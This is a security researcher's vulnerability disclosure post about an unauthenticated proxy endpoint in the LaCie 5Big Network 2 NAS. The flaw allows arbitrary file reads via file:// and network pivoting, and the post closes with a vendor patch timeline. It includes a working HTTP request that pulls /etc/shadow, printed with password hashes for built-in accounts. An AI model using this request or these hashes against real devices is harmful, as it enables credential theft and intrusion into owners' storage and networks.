When we get new hardware at the Syndis offices, it’s always like Christmas. A mad rush happened when a LaCie 5Big Network 2(Recently acquired by Seagate!) arrived at the office, to see what vulnerabilities we could find before plugging it in.
A NAS is important for a lot of reasons. But they are especially important because of the fact that they can contain a lot of sensitive information. normally.
The search for vulnerabilities wasn’t in vain, as it uncovered a neat little vulnerability in the web UI of the Lacie 5Big Network2.
The initial focus of the mini-assessment was to reverse engineer the firmware. We obtained the firmware, which was an XML file with various blobs. We turned up a nice post on NAS-Central.org which contained a script which contained a script to repckage the .capsule firmware image. Once we had unpacked the firmware, we were able to review the source code that made up the web interface.
The web interface is written using the Django framework, and contained a number of controllers for a lot of different functionality. We quickly started shifting through the unauthenticated aspects of the application. Our interest fell on an endpoint at /api/internal/url_proxy, given that we didn’t quite understand why the box needs to expose proxy functionality to an unauthenticated user (and we still don’t, FWIW).
When reviewing the source, we saw a very simple call to urllib2, based on an URL provided by the user. We figured that this would be useful as a way of pivoting into an internal network if the LaCie box is made available on the internet, or pivot across vlans if a LaCie box has access to vlans we wouldn’t have access to on an internal penetration test.
But urllib2 is a powerful library, and it support various file handlers, including the file:// handler. The LaCie application does not check the URL handler being requested, and this function also allows for the disclosure of arbitrary files on the local file system. This is especially powerful, as the application runs as root on the machine.
POST /api/internal/url_proxy HTTP/1.1 Host: 192.168.1.7 Content-Length: 67 Origin: http://192.168.1.7 <proxy_url><url>file:///etc/shadow</url><type></type></proxy_url>
HTTP/1.1 200 OK Date: Mon, 30 Mar 2015 18:57:25 GMT Content-Length: 471 Content-Type: text/html; charset=UTF-8 Server: TornadoServer/1.1 root:$1$$1RDUuTsVHjre9juUvuICX.:12542:0:99999:7::: bin:*:12488:0:99999:7::: daemon:*:12488:0:99999:7::: sync:*:12488:0:99999:7::: shutdown:*:12488:0:99999:7::: halt:*:12488:0:99999:7::: nobody:*:12488:0:99999:7::: anonymous::12488:0:99999:7::: messagebus:!:12488:0:99999:7::: haldaemon:!:12488:0:99999:7::: avahi:!:12488:0:99999:7::: partner:$1$AhmQ/2rZ$1cYuUexBvzYmM.Zk4R/6y.:15231:0:99999:7::: admin:$1$REDACTED:12488:0:99999:7:::
As can be seen, we’re able to obtain the shadow file for the system without authentication. It’s also possible to read the /etc/samba/private/passwd file which contains corresponding password hashes for all users also, in a far easier format to crack.
It’s also worth noticing the two default accounts on the box(root/partner), that can’t be removed.
An unauthenticated attacker can read all files on the local system(Including files stored in the actual files stored on the NAS) using this unauthenticated API endpoint, as well as use it to pivot to other parts of the network that the LaCie device is on, such as from the internet to an internal network.
- 30-03-2015 - Initial discovery by Syndis
- 02-04-2015 - Initial attempt at making contact with vendor
- 08-04-2015 - Retried attempt to contact vendor through PR email
- 08-04-2015 - Response from Seagate vulnerability coordinator
- 09-04-2015 - Information sent to Seagate coordinator
- 10-04-2015 - Confirmation from Seagate coordinator that issue has been verified and assigned a CVSS2 score of 9.4
- 28-04-2015 - Test patch sent by Seagate
- 29-04-2015 - Patch verified by Syndis
- 04-05-2015 - Patch released by Segate